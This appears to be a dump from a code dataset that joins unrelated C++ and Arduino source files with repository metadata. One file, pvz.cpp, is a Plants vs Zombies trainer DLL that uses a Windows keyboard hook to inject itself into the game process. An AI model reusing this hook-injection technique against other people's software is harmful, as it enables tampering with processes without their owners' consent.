@details The integer part is stored in the object pointed by intpart, and the * fractional part is returned by the function. Both parts have the * same sign as x. * @param[in] x scalar value to break into parts. * @param[in] intpart Pointer to an object (of the same type as x) where the * integral part is stored with the same sign as x. * @returns The fractional part of x, with the same sign. */ template <class ScalarUnit> dimensionless::scalar_t modf(const ScalarUnit x, ScalarUnit* intpart) noexcept { static_assert( traits::is_dimensionless_unit<ScalarUnit>::value, "Type `ScalarUnit` must be a dimensionless unit derived from `unit_t`."); UNIT_LIB_DEFAULT_TYPE intp; dimensionless::scalar_t fracpart = dimensionless::scalar_t(std::modf(x(), &intp)); *intpart = intp; return fracpart; } /** * @ingroup UnitMath * @brief Compute binary exponential function * @details Returns the base-2 exponential function of x, which is 2 raised to * the power x: 2^x. 2param[in] x Value of the exponent. * @returns 2 raised to the power of x. */ template <class ScalarUnit> dimensionless::scalar_t exp2(const ScalarUnit x) noexcept { static_assert( traits::is_dimensionless_unit<ScalarUnit>::value, "Type `ScalarUnit` must be a dimensionless unit derived from `unit_t`."); return dimensionless::scalar_t(std::exp2(x())); } /** * @ingroup UnitMath * @brief Compute exponential minus one * @details Returns e raised to the power x minus one: e^x-1. For small * magnitude values of x, expm1 may be more accurate than exp(x)-1. * @param[in] x Value of the exponent. * @returns e raised to the power of x, minus one. */ template <class ScalarUnit> dimensionless::scalar_t expm1(const ScalarUnit x) noexcept { static_assert( traits::is_dimensionless_unit<ScalarUnit>::value, "Type `ScalarUnit` must be a dimensionless unit derived from `unit_t`."); return dimensionless::scalar_t(std::expm1(x())); } /** * @ingroup UnitMath * @brief Compute logarithm plus one * @details Returns the natural logarithm of one plus x. For small magnitude * values of x, logp1 may be more accurate than log(1+x). * @param[in] x Value whose logarithm is calculated. If the argument is less * than -1, a domain error occurs. * @returns The natural logarithm of (1+x). */ template <class ScalarUnit> dimensionless::scalar_t log1p(const ScalarUnit x) noexcept { static_assert( traits::is_dimensionless_unit<ScalarUnit>::value, "Type `ScalarUnit` must be a dimensionless unit derived from `unit_t`."); return dimensionless::scalar_t(std::log1p(x())); } /** * @ingroup UnitMath * @brief Compute binary logarithm * @details Returns the binary (base-2) logarithm of x. * @param[in] x Value whose logarithm is calculated. If the argument is * negative, a domain error occurs. * @returns The binary logarithm of x: log2x. */ template <class ScalarUnit> dimensionless::scalar_t log2(const ScalarUnit x) noexcept { static_assert( traits::is_dimensionless_unit<ScalarUnit>::value, "Type `ScalarUnit` must be a dimensionless unit derived from `unit_t`."); return dimensionless::scalar_t(std::log2(x())); } //---------------------------------- // POWER FUNCTIONS //---------------------------------- /* pow is implemented earlier in the library since a lot of the unit definitions * depend on it */ /** * @ingroup UnitMath * @brief computes the square root of <i>value</i> * @details Only implemented for linear_scale units. * @param[in] value `unit_t` derived type to compute the square root of. * @returns new unit_t, whose units are the square root of value's. * E.g. if values had units of `square_meter`, then the return type * will have units of `meter`. * @note `sqrt` provides a _rational approximation_ of the square root of * <i>value</i>. In some cases, _both_ the returned value _and_ conversion * factor of the returned unit type may have errors no larger than * `1e-10`. */ template < class UnitType, std::enable_if_t<units::traits::has_linear_scale<UnitType>::value, int> = 0> inline auto sqrt(const UnitType& value) noexcept -> unit_t< square_root<typename units::traits::unit_t_traits<UnitType>::unit_type>, typename units::traits::unit_t_traits<UnitType>::underlying_type, linear_scale> { return unit_t< square_root<typename units::traits::unit_t_traits<UnitType>::unit_type>, typename units::traits::unit_t_traits<UnitType>::underlying_type, linear_scale>(std::sqrt(value())); } /** * @ingroup UnitMath * @brief Computes the square root of the sum-of-squares of x and y. * @details Only implemented for linear_scale units. * @param[in] x unit_t type value * @param[in] y unit_t type value * @returns square root of the sum-of-squares of x and y in the same units as x. */ template <class UnitTypeLhs, class UnitTypeRhs, std::enable_if_t< units::traits::has_linear_scale<UnitTypeLhs, UnitTypeRhs>::value, int> = 0> inline UnitTypeLhs hypot(const UnitTypeLhs& x, const UnitTypeRhs& y) { static_assert(traits::is_convertible_unit_t<UnitTypeLhs, UnitTypeRhs>::value, "Parameters of hypot() function are not compatible units."); return UnitTypeLhs(std::hypot( x(), y.template convert< typename units::traits::unit_t_traits<UnitTypeLhs>::unit_type>()())); } //---------------------------------- // ROUNDING FUNCTIONS //---------------------------------- /** * @ingroup UnitMath * @brief Round up value * @details Rounds x upward, returning the smallest integral value that is not * less than x. * @param[in] x Unit value to round up. * @returns The smallest integral value that is not less than x. */ template <class UnitType, class = std::enable_if_t<traits::is_unit_t<UnitType>::value>> UnitType ceil(const UnitType x) noexcept { return UnitType(std::ceil(x())); } /** * @ingroup UnitMath * @brief Round down value * @details Rounds x downward, returning the largest integral value that is not * greater than x. * @param[in] x Unit value to round down. * @returns The value of x rounded downward. */ template <class UnitType, class = std::enable_if_t<traits::is_unit_t<UnitType>::value>> UnitType floor(const UnitType x) noexcept { return UnitType(std::floor(x())); } /** * @ingroup UnitMath * @brief Compute remainder of division * @details Returns the floating-point remainder of numer/denom (rounded towards * zero). * @param[in] numer Value of the quotient numerator. * @param[in] denom Value of the quotient denominator. * @returns The remainder of dividing the arguments. */ template <class UnitTypeLhs, class UnitTypeRhs, class = std::enable_if_t<traits::is_unit_t<UnitTypeLhs>::value && traits::is_unit_t<UnitTypeRhs>::value>> UnitTypeLhs fmod(const UnitTypeLhs numer, const UnitTypeRhs denom) noexcept { static_assert(traits::is_convertible_unit_t<UnitTypeLhs, UnitTypeRhs>::value, "Parameters of fmod() function are not compatible units."); return UnitTypeLhs(std::fmod( numer(), denom.template convert< typename units::traits::unit_t_traits<UnitTypeLhs>::unit_type>()())); } /** * @ingroup UnitMath * @brief Truncate value * @details Rounds x toward zero, returning the nearest integral value that is * not larger in magnitude than x. Effectively rounds towards 0. * @param[in] x Value to truncate * @returns The nearest integral value that is not larger in magnitude than x. */ template <class UnitType, class = std::enable_if_t<traits::is_unit_t<UnitType>::value>> UnitType trunc(const UnitType x) noexcept { return UnitType(std::trunc(x())); } /** * @ingroup UnitMath * @brief Round to nearest * @details Returns the integral value that is nearest to x, with halfway cases * rounded away from zero. * @param[in] x value to round. * @returns The value of x rounded to the nearest integral. */ template <class UnitType, class = std::enable_if_t<traits::is_unit_t<UnitType>::value>> UnitType round(const UnitType x) noexcept { return UnitType(std::round(x())); } //---------------------------------- // FLOATING POINT MANIPULATION //---------------------------------- /** * @ingroup UnitMath * @brief Copy sign * @details Returns a value with the magnitude and dimension of x, and the sign * of y. Values x and y do not have to be compatible units. * @param[in] x Value with the magnitude of the resulting value. * @param[in] y Value with the sign of the resulting value. * @returns value with the magnitude and dimension of x, and the sign of y. */ template <class UnitTypeLhs, class UnitTypeRhs, class = std::enable_if_t<traits::is_unit_t<UnitTypeLhs>::value && traits::is_unit_t<UnitTypeRhs>::value>> UnitTypeLhs copysign(const UnitTypeLhs x, const UnitTypeRhs y) noexcept { return UnitTypeLhs(std::copysign( x(), y())); // no need for conversion to get the correct sign. } /// Overload to copy the sign from a raw double template <class UnitTypeLhs, class = std::enable_if_t<traits::is_unit_t<UnitTypeLhs>::value>> UnitTypeLhs copysign(const UnitTypeLhs x, const UNIT_LIB_DEFAULT_TYPE y) noexcept { return UnitTypeLhs(std::copysign(x(), y)); } //---------------------------------- // MIN / MAX / DIFFERENCE //---------------------------------- /** * @ingroup UnitMath * @brief Positive difference * @details The function returns x-y if x>y, and zero otherwise, in the same * units as x. Values x and y do not have to be the same type of units, * but they do have to be compatible. * @param[in] x Values whose difference is calculated. * @param[in] y Values whose difference is calculated. * @returns The positive difference between x and y. */ template <class UnitTypeLhs, class UnitTypeRhs, class = std::enable_if_t<traits::is_unit_t<UnitTypeLhs>::value && traits::is_unit_t<UnitTypeRhs>::value>> UnitTypeLhs fdim(const UnitTypeLhs x, const UnitTypeRhs y) noexcept { static_assert(traits::is_convertible_unit_t<UnitTypeLhs, UnitTypeRhs>::value, "Parameters of fdim() function are not compatible units."); return UnitTypeLhs(std::fdim( x(), y.template convert< typename units::traits::unit_t_traits<UnitTypeLhs>::unit_type>()())); } /** * @ingroup UnitMath * @brief Maximum value * @details Returns the larger of its arguments: either x or y, in the same * units as x. Values x and y do not have to be the same type of units, * but they do have to be compatible. * @param[in] x Values among which the function selects a maximum. * @param[in] y Values among which the function selects a maximum. * @returns The maximum numeric value of its arguments. */ template <class UnitTypeLhs, class UnitTypeRhs, class = std::enable_if_t<traits::is_unit_t<UnitTypeLhs>::value && traits::is_unit_t<UnitTypeRhs>::value>> UnitTypeLhs fmax(const UnitTypeLhs x, const UnitTypeRhs y) noexcept { static_assert(traits::is_convertible_unit_t<UnitTypeLhs, UnitTypeRhs>::value, "Parameters of fmax() function are not compatible units."); return UnitTypeLhs(std::fmax( x(), y.template convert< typename units::traits::unit_t_traits<UnitTypeLhs>::unit_type>()())); } /** * @ingroup UnitMath * @brief Minimum value * @details Returns the smaller of its arguments: either x or y, in the same * units as x. If one of the arguments in a NaN, the other is returned. * Values x and y do not have to be the same type of units, but they do * have to be compatible. * @param[in] x Values among which the function selects a minimum. * @param[in] y Values among which the function selects a minimum. * @returns The minimum numeric value of its arguments. */ template <class UnitTypeLhs, class UnitTypeRhs, class = std::enable_if_t<traits::is_unit_t<UnitTypeLhs>::value && traits::is_unit_t<UnitTypeRhs>::value>> UnitTypeLhs fmin(const UnitTypeLhs x, const UnitTypeRhs y) noexcept { static_assert(traits::is_convertible_unit_t<UnitTypeLhs, UnitTypeRhs>::value, "Parameters of fmin() function are not compatible units."); return UnitTypeLhs(std::fmin( x(), y.template convert< typename units::traits::unit_t_traits<UnitTypeLhs>::unit_type>()())); } //---------------------------------- // OTHER FUNCTIONS //---------------------------------- /** * @ingroup UnitMath * @brief Compute absolute value * @details Returns the absolute value of x, i.e. |x|. * @param[in] x Value whose absolute value is returned. * @returns The absolute value of x. */ template <class UnitType, class = std::enable_if_t<traits::is_unit_t<UnitType>::value>> UnitType fabs(const UnitType x) noexcept { return UnitType(std::fabs(x())); } /** * @ingroup UnitMath * @brief Compute absolute value * @details Returns the absolute value of x, i.e. |x|. * @param[in] x Value whose absolute value is returned. * @returns The absolute value of x. */ template <class UnitType, class = std::enable_if_t<traits::is_unit_t<UnitType>::value>> UnitType abs(const UnitType x) noexcept { return UnitType(std::fabs(x())); } /** * @ingroup UnitMath * @brief Multiply-add * @details Returns x*y+z. The function computes the result without losing * precision in any intermediate result. The resulting unit type is a * compound unit of x* y. * @param[in] x Values to be multiplied. * @param[in] y Values to be multiplied. * @param[in] z Value to be added. * @returns The result of x*y+z */ template <class UnitTypeLhs, class UnitMultiply, class UnitAdd, class = std::enable_if_t<traits::is_unit_t<UnitTypeLhs>::value && traits::is_unit_t<UnitMultiply>::value && traits::is_unit_t<UnitAdd>::value>> auto fma(const UnitTypeLhs x, const UnitMultiply y, const UnitAdd z) noexcept -> decltype(x * y) { using resultType = decltype(x * y); static_assert( traits::is_convertible_unit_t< compound_unit< typename units::traits::unit_t_traits<UnitTypeLhs>::unit_type, typename units::traits::unit_t_traits<UnitMultiply>::unit_type>, typename units::traits::unit_t_traits<UnitAdd>::unit_type>::value, "Unit types are not compatible."); return resultType(std::fma(x(), y(), resultType(z)())); } } // namespace math } // namespace units
[ "johnson.peter@gmail.com" ]
johnson.peter@gmail.com
85d75dc688a0e3768a80c985ac84c2aa1a21aa85
247d8b349ec8dc52fe674cd0d930e6c1dda689f2
/pvz/pvz.cpp
3ce8a25e9b49e450527ade1609eebf9e193b8760
[]
no_license
Goodwu415/PvZModifier
6f4bffe354c92741e2949dfd4b6b61ecb1a553ce
5c68c2acb6a0ad56f6644f53173f46f146cf38b6
refs/heads/master
2020-12-21T13:14:49.089495
2020-02-03T02:51:45
2020-02-03T02:51:45
236,440,319
0
0
null
null
null
null
UTF-8
C++
false
false
2,997
cpp
// pvz.cpp: 定义 DLL 的初始化例程。 // #include "stdafx.h" #include "pvz.h" #include "CDialogMain.h" #ifdef _DEBUG #define new DEBUG_NEW #endif // //TODO: 如果此 DLL 相对于 MFC DLL 是动态链接的, // 则从此 DLL 导出的任何调入 // MFC 的函数必须将 AFX_MANAGE_STATE 宏添加到 // 该函数的最前面。 // // 例如: // // extern "C" BOOL PASCAL EXPORT ExportedFunction() // { // AFX_MANAGE_STATE(AfxGetStaticModuleState()); // // 此处为普通函数体 // } // // 此宏先于任何 MFC 调用 // 出现在每个函数中十分重要。 这意味着 // 它必须作为以下项中的第一个语句: // 出现,甚至先于所有对象变量声明, // 这是因为它们的构造函数可能生成 MFC // DLL 调用。 // // 有关其他详细信息, // 请参阅 MFC 技术说明 33 和 58。 // // CpvzApp BEGIN_MESSAGE_MAP(CpvzApp, CWinApp) END_MESSAGE_MAP() // CpvzApp 构造 CpvzApp::CpvzApp() { // TODO: 在此处添加构造代码, // 将所有重要的初始化放置在 InitInstance 中 } // 唯一的 CpvzApp 对象 CpvzApp theApp; #define GAME_WIN_NAME _T("植物大战僵尸中文版") HHOOK g_hHook; //辅助对话框 CDialogMain* g_pDlg{ nullptr }; // CpvzApp 初始化 BOOL CpvzApp::InitInstance() { CWinApp::InitInstance(); if(!AfxSocketInit()){ AfxMessageBox(IDP_SOCKETS_INIT_FAILED); return FALSE; } return TRUE; } static bool IsFullScreenWindow(HWND hWnd) { bool bFullScreen = false; RECT rcApp, rcDesk; GetWindowRect(GetDesktopWindow(), &rcDesk); if(hWnd != GetDesktopWindow() && hWnd != GetShellWindow()) { GetWindowRect(hWnd, &rcApp); if(rcApp.left <= rcDesk.left && rcApp.top <= rcDesk.top && rcApp.right >= rcDesk.right && rcApp.bottom >= rcDesk.bottom) { bFullScreen = true; } } return bFullScreen; } LRESULT WINAPI KeyboardProc(int code, WPARAM wParam, LPARAM lParam) { if(code == HC_ACTION && wParam == VK_HOME && GetKeyState(VK_HOME) < 0) { if(!g_pDlg) { //创建窗口 g_pDlg = new CDialogMain; g_pDlg->Create(IDD_DIALOG1); HWND hWndGame = ::FindWindow(NULL, GAME_WIN_NAME); if(!IsFullScreenWindow(hWndGame)) { SetWindowPos(hWndGame, HWND_TOP, 0 + 10, 0 + 10, -1, -1, SWP_NOSIZE); RECT rcGame; ::GetWindowRect(hWndGame, &rcGame); ::SetWindowPos(g_pDlg->GetSafeHwnd(), HWND_TOP, rcGame.right + 0, 10, -1, -1, SWP_NOSIZE); } else { AfxMessageBox(_T("去掉游戏 “全屏”设置")); } } g_pDlg->ShowWindow(SW_SHOW); return 0; } else return CallNextHookEx(NULL, code, wParam, lParam); } void __stdcall SetHook() { HWND hWndGame; hWndGame = ::FindWindow(NULL, GAME_WIN_NAME); DWORD dwProcessId, dwThreadId; dwThreadId = ::GetWindowThreadProcessId(hWndGame, &dwProcessId); g_hHook = ::SetWindowsHookEx(WH_KEYBOARD, //键盘钩子 KeyboardProc, //钩子过程 GetModuleHandle(_T("pvz.dll")),//钩子函数所在的模块 dwThreadId);//游戏窗口线程ID }
[ "Goodwu415@users.noreply.github.com" ]
Goodwu415@users.noreply.github.com
dce93221ab8fa9fde09686f14bac22311f69244c
06a27fa68b5f4bcf23c029b57a52ea63a4711627
/Starter/History/Code/3-2-12/TextureCube.h
37d58c969fc4c282b3f7dee04c974128cdf1af64
[]
no_license
kmadsen/opengl-cpp
b24cda1f3973d2e48a3b52c5e46649faa6fbd8a7
6b8fe7fb5b3566b295d6a32adb4dc39f8ee027f6
refs/heads/main
2023-07-12T22:25:29.016043
2021-08-20T15:12:46
2021-08-20T15:12:46
398,293,117
2
0
null
2021-08-20T14:26:53
2021-08-20T13:54:23
Assembly
UTF-8
C++
false
false
522
h
#ifndef TEXTURECUBE_H #define TEXTURECUBE_H #include "GLSLProgram.h" #include "KScene.h" #include "vboteapot.h" class TextureCube : public KScene { public: TextureCube(void) : m_Teapot(NULL) {} ~TextureCube(void) { delete m_Teapot; } void Init(); void Render(float dt); void Resize(int width, int height); void Idle() { } private: GLSLProgram m_Program; GLuint m_VaoHandle; VBOTeapot *m_Teapot; mat4 m_ProjectionM; void LoadTextures(); }; #endif // TEXTURECUBE_H
[ "kyle.mdsn@gmail.com" ]
kyle.mdsn@gmail.com
5572b18e8102b58990b1fcb5fb789f124d379165
527255cfaf0f63c910bc31aab8e48929af352f60
/blackify/sort-ec.cpp
ee07e3116e1ce9577cadfb5b817a3b047c7b1049
[]
no_license
garrettspringer/ec-to-go
f9f99dbb98cf1713e236752ff3718380e6617865
4ff6f79de86abe5e0043ae172438645bb340c7ea
refs/heads/master
2020-04-17T22:54:21.333684
2019-02-20T23:12:03
2019-02-20T23:12:03
167,013,276
0
0
null
null
null
null
UTF-8
C++
false
false
1,264
cpp
// Sorts the enzyme commission numbers in increasing order #include<iostream> #include<unordered_map> #include<fstream> #include<algorithm> #include<stdlib.h> #include<vector> using namespace std; // reads in the numbers /*void num_converter(const string a, const string b, int &a1, int &a2, int &a3, int &a4, int &b1, int &b2, int &b3, int &b4) { for (unsigned int i=0; i<a; i++) { } }*/ bool operator<(const string a, const string b) { int a1, a2, a3, a4, b1, b2, b3, b4; a1 = int(a[0]); a2 = int(a[2]); a3 = int(a[4]); b1 = int(b[0]); b2 = int(b[2]); b3 = int(b[4]); if (a[6] != 'n') a4 = int(a[6]); else a4 = int(a[7]); if (b[6] != 'n') b4 = int(b[6]); else b4 = int(b[7]); if (a1 < b1) return true; else if (a2 < b2) return true; else if (a3 < b3) return true; else if (a4 < b4) return true; else return false; } int main() { ifstream fin("all.txt"); ofstream fout("sorted-ec.txt"); vector<string> ec; // read input string s; while (fin >> s) ec.push_back(s); sort(ec.begin(), ec.end()); // remove repeats for (unsigned int i=1; i<ec.size(); i++) if (ec[i-1] == ec[i]) ec[i-1] = ""; // Print to file for (auto i : ec) if (i != "") fout << i << "\n"; return 0; }
[ "ghsprin@g.clemson.edu" ]
ghsprin@g.clemson.edu
b13f8dfb948f1828df3bade8ded11c580583f3ff
e77704e8cfff3205f7165d9879b3f6d89b871b6a
/Plugins/MineSweeperEditor/Source/MineSweeperEditor/Public/MineSweeperEditor.h
9ac233b00b6cf2c67e903b56ffd47e82cdf6d06e
[]
no_license
AbsenceGameDev/poc-editortoolsue4
adc967fb2187df9afb84e2e5c5c7c5a979d68fea
12286891d0c2bb639aef0340eb8d18f87e52b719
refs/heads/main
2023-04-12T16:26:45.192430
2021-05-12T21:40:40
2021-05-12T21:40:40
347,472,105
2
0
null
null
null
null
UTF-8
C++
false
false
6,814
h
/** * @file MineSweeperEditor.h * @author Ario Amin * @project MineSweeper Geodesic Test **/ #ifndef MINESWEEPER_EDITOR_H #define MINESWEEPER_EDITOR_H #include "CoreMinimal.h" #include "FSysManager.h" // ReSharper disable once CppUnusedIncludeDirective #include "Modules/ModuleManager.h" /** * @class FMineSweeperEditorModule * @brief Minesweeper Editor-module * @details This is the editor module which is responsible for * initializing slate elements. (That regards the related editor window and it's elements) * **/ class FMineSweeperEditorModule : public IModuleInterface { public: /** * @brief System Manager * @details A shared pointer to an FSysManager, * which manages much of the game and the system functionality. \n * In contrast to FMineSweeperEditorModule, * which mainly is used for initializing the visual elements, * as-well as binding them through FTileBinder. **/ TSharedPtr<FSysManager> SysManager; /* * Public member functions * */ /** * @brief FMineSweeperEditorModule constructor * @details Creates a FSysManager and loads total saved score **/ FMineSweeperEditorModule(); /** * @brief StatupModule - IModuleInterface override * @details Initializes the style-set and command, * then registers callback and the new tab in the editor menu. **/ virtual void StartupModule() override; /** * @brief Shutdown - IModuleInterface override * @details De-initializes the style-set and command, * as-well as triggers SaveState in FSysManager, then de-registers * callback and the new tab in the editor menu. **/ virtual void ShutdownModule() override; /** * @brief Brings up main plugin window * @details Tries to invoke tab through FGlobalTabmanager:: * and then Triggers the New Game event * @note This function will be bound to Command **/ void TabBtnClicked() const; /** * @brief Commit value from slider * @details Commits value to this->SysManager->NextRowSize, * is bound to an SSlider which is defined in OnSpawnTab * @param NewInt New display value * @param CommitType * @note set value when keyboard input **/ void CommittedX(const uint8 NewInt, ETextCommit::Type CommitType) const; /** * @brief Commit text from text-box 1 to value * @param NewInt New display value * @param CommitType * @note set value when keyboard input **/ void CommittedY(const uint8 NewInt, ETextCommit::Type CommitType) const; /** * @brief Regenerates an already existing Slate Grid * @param Xin Maximum size X * @param Yin Maximum size Y * @note FSLocal - Local container to create and bind function \n * FSLocal::OnTileClick(const Coords, TSharedPtr<FSysManager>) \n * FSLocal::MakeTile(const Coords, TSharedPtr<FSysManager>) * @return Shared reference of Grid panel, type: TSharedRef<SUniformGridPanel> **/ void RegenerateGrid(uint8 Xin, uint8 Yin, TSharedRef<class SUniformGridPanel>) const; private: /* * Private member variables * */ TSharedPtr<class FUICommandList> PluginCmds; FCurveSequence Sequence; FCurveHandle ZoomCurve; FCurveHandle FadeCurve; /* * Private member functions * */ /** * @brief Register level editor menu **/ void RegisterMenus(); /** * @brief Generate Slate Grid * @param Xin Maximum size X * @param Yin Maximum size Y * @note FSLocal - Local container to create and bind function \n * FSLocal::OnTileClick(const Coords, TSharedPtr<FSysManager>) \n * FSLocal::MakeTile(const Coords, TSharedPtr<FSysManager>) * @return Shared reference of Grid panel, type: TSharedRef<SUniformGridPanel> **/ TSharedRef<class SUniformGridPanel> GenerateGrid(uint8 Xin, uint8 Yin) const; /** * @brief Call when spawning window to spawn internal tab/page. * @details Implements the initial SUniFormGrid, the New Game & Restart Game SAButton, * the SSlider's, the welcome message and the win/loss SPopup * @param SpawnTabArgs * @return The tab-page in the module window, through type: TSharedRef<class SDockTab> **/ TSharedRef<class SDockTab> OnSpawnTab(const class FSpawnTabArgs & SpawnTabArgs) const; }; // End of FMineSweeperEditorModule class /** * @struct FTileBinder * @brief Function binder * @details Implements functions which are then used to bind to delegates in FMineSweeperEditorModule **/ struct FTileBinder { /** * @brief New Game event * @details Starts a new game, uses the slider values to generate new board-dimensions. * @param Owner * @param Manager * @retun returns an FReply::Handled() when finished. **/ static FReply NewGameBind(const FMineSweeperEditorModule * Owner, TSharedPtr<FSysManager> Manager); /** * @brief Restart Board event * @details Restart the current game. can one be used once per board you're playing. * @param Owner * @param Manager * @retun returns an FReply::Handled() when finished. **/ static FReply RestartGameBind(const FMineSweeperEditorModule * Owner, TSharedPtr<FSysManager> Manager); /** * @brief OnTileClick, function to bind to game-board tiles * @details * @param Difficulty Requested Difficulty Setting * @param ManagerShared An FSysManager to trigger it's ClickTile() function * @retun returns an FReply::Handled() when finished. */ static FReply OnDifficultyClick(FSysManager::EGameDifficulty Difficulty, TSharedPtr<FSysManager> ManagerShared); /** * @brief OnTileClick, function to bind to game-board tiles * @details * @param TileCoords Coordinates of the tile which has been clicked * @param ManagerShared An FSysManager to trigger it's ClickTile() function * @retun returns an FReply::Handled() when finished. */ static FReply OnTileClick(FCoords TileCoords, TSharedPtr<FSysManager> ManagerShared); /** * @brief Make Tile and bind OnClick to it * @details * @param TileCoords Given coordinates at which I tile will be created * @param ManagerShared FSysManager pointer to pass through to internal function call * @return TSharedRef<SWidget>, a shared reference to the tile (SAButton widget) */ static TSharedRef<SWidget> MakeTile(const FCoords TileCoords, TSharedPtr<FSysManager> ManagerShared); }; // End of TileBinder struct #endif // MINESWEEPER_EDITOR_H
[ "ario.amin@permadev.se" ]
ario.amin@permadev.se
1153a965e9a7e95d57218000c2a336fea7ae0a15
5cb9bc4c575f9e415e94fc1fddc4c22b0d61f3ad
/basic/analog_input/photo_3_serial/photo_3_serial.ino
22c070f72bfeba4d662661333fb739274ad84686
[]
no_license
eaman/sketchbook_andrea
2986bec89ebeb487e6b5a729e255c673bc5ec7a3
bb5990ecbfff472fbdcde806699ecde9000c9f8c
refs/heads/master
2021-06-17T17:01:59.953789
2017-05-29T19:45:46
2017-05-29T19:45:46
31,169,050
0
0
null
null
null
null
UTF-8
C++
false
false
1,713
ino
/* Photoresistor Utilizzare una fotoresistenza come analog input. Il comportamento della foto resistenza e' simile a un potenziometro: varia la resistenza in base alla quantita' di luce. Per ottenere valori significativi utilizzare unaresistenza da ~5k ohms in serie con il sensore. Questo sketch modifica l'intervallo di intermittenza di un led in base alla luminosita' rilevata. Schema: http://lab.piffa.net/schemi/photoresistor_led.png Guida: https://learn.adafruit.com/photocells/using-a-photocell */ int sensorPin = A0; // select the input pin for the potentiometer int ledPin = 3; // select the pin for the LED int sensorValue = 0; // variable to store the value coming from the sensor void setup() { // declare the ledPin as an OUTPUT: pinMode(ledPin, OUTPUT); // initialize serial communications at 9600 bps: Serial.begin(9600); } void loop() { // read the value from the sensor: sensorValue = analogRead(sensorPin); // turn the ledPin on digitalWrite(ledPin, HIGH); // stop the program for <sensorValue> milliseconds: delay(sensorValue); // turn the ledPin off: digitalWrite(ledPin, LOW); // stop the program for for <sensorValue> milliseconds: // print the results to the serial monitor: Serial.print("sensor = " ); Serial.print(sensorValue); Serial.print("\t delay = "); Serial.println(sensorValue); delay(sensorValue); } /* domande: 1. qual'e' il valore minimo rilevato? 2. quale il massimo? 3. Modificare lo sketch in modo che modifichi la luminosita' di un LED via PWM tramite il valore letto dal sensore. (vedi esercizio sucessivo) */
[ "andrea@piffa.net" ]
andrea@piffa.net
5b6a1b7e2f6d2bfdb0ce85d901d4bc7f4bd57dd3
b013562927e347376bfd43b57be229fda60cb607
/ax_database/src/axOracle/axDBConn_Oracle.h
6896e7272d30c9d006e1ceaa07153d187ff816ad
[]
no_license
Jasonchan35/libax
82102e2b2fa577f333815f99709ebbb9250ec9f5
931f18f8baf46b1e7087ea93a5f0c2ee667a540c
refs/heads/master
2021-05-04T10:02:13.008748
2018-06-23T16:48:21
2018-06-23T16:48:21
46,000,639
1
0
null
null
null
null
UTF-8
C++
false
false
1,401
h
#ifndef __axDBConn_Oracle_h__ #define __axDBConn_Oracle_h__ #include "axDBStmt_Oracle.h" class axDBConn_Oracle : public axDBConn_Imp { public: axDBConn_Oracle(); virtual ~axDBConn_Oracle(); virtual axStatus identifierString ( axIStringA & out, const char* sz ); virtual axStatus createStmt ( axDBStmt & stmt, const char * sql ); virtual axStatus getSQL_CreateTable ( axStringA_Array & outSQLArray, const axDBColumnList & list, const char* table ); virtual axStatus getSQL_LastInsertId ( axIStringA & outSQL, const axDBColumnList & list, const char* table ); virtual axStatus getSQL_DropTableIfExists( axStringA_Array & outSQLArray, const char* table ); axStatus connect ( const char* hostname, int port, const char* sid, const char* username, const char* password ); void close (); bool hasError ( sword status, const char* sql = NULL ); virtual axStatus beginTran (); virtual axStatus rollBackTran (); virtual axStatus commitTran (); virtual axStatus savePoint ( const char* name ); virtual axStatus rollBackToSavePoint ( const char* name ); virtual axStatus releaseSavePoint ( const char* name ); axStatus _directExec( const char* sql ); const char* DBTypeName( int c_type ); OCIStmt* lastExecStmt_; OCIEnv* envhp; OCIError* errhp; OCISvcCtx* svchp; OCITrans* trans; bool inTrans_; }; #endif //__axDBConn_Oracle_h__
[ "jasonchan35@gmail.com" ]
jasonchan35@gmail.com
adf7f84129231fcc64e4c435701c0dabfc56e997
b92bedbcd81c44a8534688e0a9f4b9be306c3587
/lab9/modifyStringMain.cpp
b4681a230695c6cce100fd1f4856691f2ff96f30
[]
no_license
jamesdavis5589/cs201
494f310896ae19d2f8e0a2b8abf6194d4110db00
2eb275df86139bd20af449d1ac7a178cd59ecdb3
refs/heads/master
2020-07-13T08:28:38.528479
2019-12-09T05:22:44
2019-12-09T05:22:44
205,044,680
0
0
null
2019-11-20T03:17:08
2019-08-29T00:03:49
C++
UTF-8
C++
false
false
737
cpp
/* James Davis CS201 September 23rd Lab 9 - modifyStringMain.cpp This program will execute examples of the function created in the modifyString header */ #include <iostream> #include <string> #include "modifyString.h" int main() { std::cout << "Trial 1:\n"; std::string a = "diddly"; std::cout << "Length: "; std::cout << exy(4, a); std::cout << "\n"; std::cout << a; std::cout << "\n\n"; std::cout << "Trial 2:\n"; std::string b = "trainwreck"; std::cout << "Length: "; std::cout << exy(12, b); std::cout << "\n"; std::cout << b; std::cout << "\n\n"; std::cout << "Trial 3:\n"; std::string c = "shazam"; std::cout << "Length: "; std::cout << exy(25, c); std::cout << "\n"; std::cout << c; std::cout << "\n\n"; }
[ "james.davis5589@outlook.com" ]
james.davis5589@outlook.com
e982fd9fa3026afb2450cb24bff5a4921e9ccf77
1cc17e9f4c3b6fba21aef3af5e900c80cfa98051
/content/browser/renderer_host/media/audio_sync_reader.h
eec238c1f15e70058bed60e03875dcaac2251833
[ "BSD-3-Clause" ]
permissive
sharpglasses/BitPop
2643a39b76ab71d1a2ed5b9840217b0e9817be06
1fae4ecfb965e163f6ce154b3988b3181678742a
refs/heads/master
2021-01-21T16:04:02.854428
2013-03-22T02:12:27
2013-03-22T02:12:27
null
0
0
null
null
null
null
UTF-8
C++
false
false
1,975
h
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef CONTENT_BROWSER_RENDERER_HOST_MEDIA_AUDIO_SYNC_READER_H_ #define CONTENT_BROWSER_RENDERER_HOST_MEDIA_AUDIO_SYNC_READER_H_ #include "base/file_descriptor_posix.h" #include "base/process.h" #include "base/sync_socket.h" #include "base/synchronization/lock.h" #include "base/time.h" #include "media/audio/audio_output_controller.h" namespace base { class SharedMemory; } // A AudioOutputController::SyncReader implementation using SyncSocket. This // is used by AudioOutputController to provide a low latency data source for // transmitting audio packets between the browser process and the renderer // process. class AudioSyncReader : public media::AudioOutputController::SyncReader { public: explicit AudioSyncReader(base::SharedMemory* shared_memory); virtual ~AudioSyncReader(); // media::AudioOutputController::SyncReader implementations. virtual void UpdatePendingBytes(uint32 bytes) OVERRIDE; virtual uint32 Read(void* data, uint32 size) OVERRIDE; virtual void Close() OVERRIDE; virtual bool DataReady() OVERRIDE; bool Init(); bool PrepareForeignSocketHandle(base::ProcessHandle process_handle, #if defined(OS_WIN) base::SyncSocket::Handle* foreign_handle); #else base::FileDescriptor* 